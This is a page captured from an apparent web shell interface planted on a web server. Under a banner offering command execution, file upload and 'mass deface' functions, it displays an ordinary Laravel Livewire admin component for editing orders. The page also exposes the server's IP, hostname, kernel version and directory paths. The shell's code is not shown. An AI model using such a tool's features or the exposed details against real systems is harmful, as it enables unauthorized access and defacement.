���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
npln
/
app
/
Livewire
/
Admin
/
Pages
/
Dashboard
/
Order
/
Viewing: Show.php
<?php namespace App\Livewire\Admin\Pages\Dashboard\Order; use Livewire\Component; use function App\Helpers\DateNow; use Illuminate\Filesystem\Filesystem; use Illuminate\Support\Facades\Auth; use function App\Helpers\saveUser; use App\Helpers\HelperClass\GeneralUse; use Masmerise\Toaster\Toastable; use App\Models\OrderStatus; use App\Models\OrderLog; use App\Models\Order; use App\Models\UserServices; use App\Models\User; use App\Models\Platform; use App\Models\CategoryOrder; use Illuminate\Http\Request; use File; class Show extends Component { use Toastable; protected $listeners = ['refreshOrder' => '$refresh']; public $employe_id; public $order; public $customer; public $tabClick; public function mount($id, Request $request) { if ($request->tab) { $this->tabClick = $request->tab; } $this->order = Order::with(['user', 'customer'])->where('id', $id)->firstOrFail(); $this->customer = UserServices::where('services_id', $this->order->services_id)->where('user_id', $this->order->user_id)->first(); } public function editOrder($formData) { $check = Order::where(function ($q) use ($formData) { $q->where('number', $formData['number'])->where('number', '!=', 0); })->where('id', '!=', $this->order->id)->first(); if ($check) { $this->error(' شماره سفارش تکراری می باشد '); return; } $material_name = null; if (isset($formData['material_name'])) { $material_name = $formData['material_name']; }; $material_code = null; if (isset($formData['material_code'])) { $material_code = $formData['material_code']; }; $employe_id = $this->order->employe_id; if (isset($formData['employe_id']) && $formData['employe_id'] != '0') { $employe_id = $formData['employe_id']; } elseif ($formData['employe_id'] == '0') { $employe_id = Null; }; $employe_editor_id = $this->order->employe_editor_id; if (isset($formData['employe_editor_id']) && $formData['employe_editor_id'] != '0') { $employe_editor_id = $formData['employe_editor_id']; } elseif ($formData['employe_editor_id'] == '0') { $employe_editor_id = Null; }; $status_services = $this->order->status_services; if (isset($formData['status_services'])) { $status_services = $formData['status_services']; }; $platform = $this->order->platform; if (isset($formData['platform'])) { $platform = $formData['platform']; }; $price = null; if (isset($formData['price'])) { $price = str_replace(',', '', $formData['price']); }; $order_description = null; if (isset($formData['order_description'])) { $order_description = $formData['order_description']; }; $time_estimate = null; if (isset($formData['datevuetime_estimate'])) { $time_estimate = $formData['datevuetime_estimate']; }; $description_tell = null; if (isset($formData['description_tell'])) { $description_tell = $formData['description_tell']; }; Order::where('id', $this->order->id)->update([ 'material_name' => $material_name, 'material_code' => $material_code, 'name' => $formData['name'], 'number' => $formData['number'], 'edit' => $formData['edit'], 'status' => $formData['status'], 'platform' => $platform, 'category_id' => $formData['category_id'], 'employe_id' => $employe_id, 'employe_editor_id' => $employe_editor_id, 'status_em_services' => $formData['status_em_services'], 'order_description' => $order_description, 'time_estimate' => $time_estimate, 'status_services' => $status_services, 'price' => $price, 'description_tell' => $description_tell, ]); if (\Str::contains($this->order->status_em_services, $formData['status_em_services']) != 1) { OrderLog::create([ 'text' => $formData['status_em_services'], 'date_show' => DateNow('add_day_s', 0), 'type' => 'employee', 'user_id' => Auth::user()->id, 'order_id' => $this->order->id, ]); } if (\Str::contains($this->order->status_services, $formData['status_services']) != 1) { OrderLog::create([ 'text' => $formData['status_services'], 'date_show' => DateNow('add_day_s', 0), 'type' => 'services', 'user_id' => Auth::user()->id, 'order_id' => $this->order->id, ]); if ($this->order->user && $this->order->user->device_token) { $title_push = 'وضعیت سفارش شما تغییر داده شد'; $body = 'وضعیت سفارش شماره ' . $this->order->number . ' به ' . $formData['status_services'] . ' تغییر داده شد'; GeneralUse::send_push_massage([$this->order->user->device_token], $title_push, $body); } } if ($formData['status'] != 'send') { //response session()->flash('successRequest', 'عملیات با موفقیت انجام گردید'); return redirect()->to('/admin/dashboard/order/' . $this->order->id); } $this->success(' سفارش با موفقیت ویرایش گردید '); } public function setDescription($formData) { Order::where('id', $this->order->id)->update([ 'description' => $formData['description'], ]); $this->success(' سفارش با موفقیت ویرایش گردید '); } public function render() { $status = OrderStatus::orderby('order_sort', 'asc')->where('order_dashboard', 'true')->get(); $status_service = OrderStatus::orderby('performance_sort', 'asc')->where('performance_dashboard', 'true')->get(); $categories = CategoryOrder::orderBy('id', 'desc')->get(); $platforms = Platform::orderBy('id', 'desc')->get(); $services_id = $this->order->services_id; $employes = User::where('parent', $services_id) ->where('roll', 'manager_designer')->get(); $data = ['platforms' => $platforms, 'categories' => $categories, 'employes' => $employes, 'status_service' => $status_service, 'status' => $status]; return view('livewire.admin.pages.dashboard.order.show', $data)->layoutData(['page_name' => 'panel']); } }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa